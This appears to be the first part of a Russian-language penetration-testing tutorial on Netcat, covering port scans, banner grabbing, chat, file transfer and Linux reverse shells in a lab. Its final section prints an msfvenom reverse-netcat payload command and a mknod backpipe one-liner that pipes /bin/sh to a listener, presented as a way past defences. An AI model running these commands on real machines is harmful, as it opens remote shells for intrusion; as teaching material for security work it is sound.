Возможности Netcat глазами пентестера. Часть 1
Life-Hack [Жизнь-Взлом]/ХакингВ этой статье пойдет речь об одной из наиболее часто используемых сетевых утилит Netcat. Читатели также узнают, как другие фреймворки усиливают ее для создания надежного сеанса.
Netcat (в речи специалистов еще используется сокращение «nc») — это сетевая утилита, которая применяет TCP и UDP соединения для чтения и записи в сети. Она может быть полезна как злоумышленникам, так и аудиторам безопасности.
Этот мультифункциональный инструмент может управлять скриптами, что делает его довольно надежным, если говорить о сфере безопасности. Он также поможет отладить и исследовать сеть.
Почему же Netcat настолько надежен, что может сделать все, будь то сканирование портов, захват баннеров, передача файлов или даже создание обратного соединения?
Настала пора проверить основные функции инструмента и ответить на этот вопрос.
- Он действует как простой клиент TCP / UDP / SCTP / SSL для взаимодействия с веб-серверами, серверами Telnet, почтовыми серверами и другими сетевыми службами TCP/IP.
- Инструмент также перенаправляет трафик TCP / UDP / SCTP на другие порты или хосты, действуя как Socks или HTTP-прокси, так что клиенты могут иметь свои собственные пункты назначения.
- Netcat может подключаться к адресатам через цепочку анонимных или аутентифицированных прокси-серверов.
- Он способен зашифровать связь с помощью SSL и передать данные по протоколу IPv4 или IPv6.
- Инструмент действует как посредник соединения, позволяя двум (или гораздо большему количеству) клиентам соединяться друг с другом через третий (посреднический) сервер.
Так что до сих пор люди, возможно, не знают обо всех функциях Netcat, что делает его уникальной утилитой.
Стоит попробовать копнуть поглубже и исследовать, что человек можем осуществить с помощью этого замечательного инструмента.
Базовая команда Netcat
«Help» или иногда «h», она поможет понять все возможности, которыми обладает инструмент. Чтобы начать работу с Netcat, пользователь введет самую простую команду справки, т.е.:
nc -h

Сканирование порта
Netcat может быть использован в качестве сканера портов, хотя он и не был предназначен сперва для выполнения такой функции. Чтобы превратить его в сканер, нужно установить флаг “-z”, с которым связан Netcat для сканирования listing daemon без отправки каких-либо данных. Это позволяет понять тип службы, работающей на этом конкретном порту. Таким образом, Netcat может выполнять как TCP, так и UDP сканирование. Нужно это еще раз проверить:
TCP Scan
nc -v –n –z 192.168.1.105 21-100
- [-v]: указывает на подробный режим
- [-n]: указывает только на числовые IP-адреса
- [-z]: указывает на нулевой режим ввода-вывода [используется для сканирования]
Для завершения этого сканирования необходимо указать диапазон портов. На приведенном ниже изображении можно увидеть, что был установлен диапазон портов 21-100, в котором и будут сбрасываться запущенные службы на целевую машину.

UDP Scan
Есть возможность даже сканировать UDP-порты таким же образом, как пользователь сканировал TCP-порты. Здесь он будет использовать флаг [-u], который вызовет режим UDP.
nc –vzu 192.168.1.105 161
В этом сценарии будет упомянут номер порта, а не диапазон. На приведенном ниже изображении можно увидеть, что пользователь захватил запущенную службу “snmp”.

Общение
Netcat также можно использовать для общения двух пользователей. Но перед этим нужно установить связь. Чтобы настроить все, что необходимо, стоит использовать два устройства – одно будет играть роль инициатора, а другое — слушателя. Как только это соединение будет установлено, связь может осуществляться с обоих концов.
Следует рассмотреть такой сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.
Первоначально пользователь root kali должен настроить свой netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполняется следующая команда:
nc –lvp 1234
- [l]: режим прослушивания
- [v]: подробный режим
- [p]: локальный порт
Теперь пришло время настроить инициатор, пользователь будет делать это от корневого пользователя Ubuntu, просто указав IP-адрес системы, в которой был запущен листенер, а затем – и сам номер порта.
nc 192.168.1.109 1234

На приведенном ниже изображении можно увидеть, что соединение было установлено и настроено, и теперь обе машины могут общаться друг с другом.

Захват баннера
Баннер — это текстовое сообщение, полученное от хоста с информацией об открытых портах и сервисах вместе с номерами их версий.
Необходимо выполнить следующую команду, чтобы захватить целевые ftp-и ssh-баннеры:
nc 192.168.1.105 21 nc 192.168.1.105 22

Передача файлов
Netcat предоставляет пользователям возможность передавать файлы с одного устройства на другое по сети.
Стоит рассмотреть такой сценарий, в котором пользователю kali нет необходимости передавать свои файлы пользователю на машине Ubuntu.
На приведенном ниже изображении человек с помощью kali устанавливает листенер на порту номер 5555 и совместно использует файл .txt с применением параметра «<«.
nc –lvp 5555 < file.txt

Теперь пользователь, находящийся на сервере Ubuntu, загрузит этот файл, выполнив следующую команду.
nc 192.168.1.109 5555 > file.txt
На приведенном ниже изображении пользователь может увидеть, что юзер Ubuntu успешно захватил файл .txt от 192.168.1.109, который является ничем иным как IP пользователя kali.

Linux Reverse Shell
Как говорилось ранее, Netcat может выполнять все, что угодно человеку, поэтому теперь он попытается использовать целевую машину с помощью “msfvenom” для создания полезной нагрузки и настроит листенер для захвата сеанса.
Пора попробовать создать полезную нагрузку с помощью следующей команды:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=6666 R
Флаг «R» используется для генерации необработанной полезной нагрузки, которая будет находиться над экраном.

На приведенном выше изображении пользователь может увидеть, что полезная нагрузка создана, теперь пришло время запустить ее через сервер жертвы.
Нужно открыть компьютер Ubuntu и ввести эту полезную нагрузку в терминал. Прежде чем запустить его, следует вернуться к машине злоумышленника (kali Linux) и настроить листенер Netcat там, используя тот же номер порта, который был применен при создании полезной нагрузки.

На приведенном выше изображении пользователь может увидеть, что, как только жертва запускает полезную нагрузку, сеанс получен.

Есть много случаев, когда безопасность находится на высоком уровне, и человек не может захватить сеанс с помощью этого метода, но есть и другой способ получить реверсивный shell.
Перед этим стоит настроить листенер netcat на порту 443:
Как только он загрузится, надо просто выполнить следующие команды на целевой машине:
mknod /tmp/backpipe p /bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe
Это поможет обойти систему безопасности и сохранить сеанс netcat.

На приведенном изображении пользователь может увидеть, что shell был успешно захвачен.

Продолжение следует...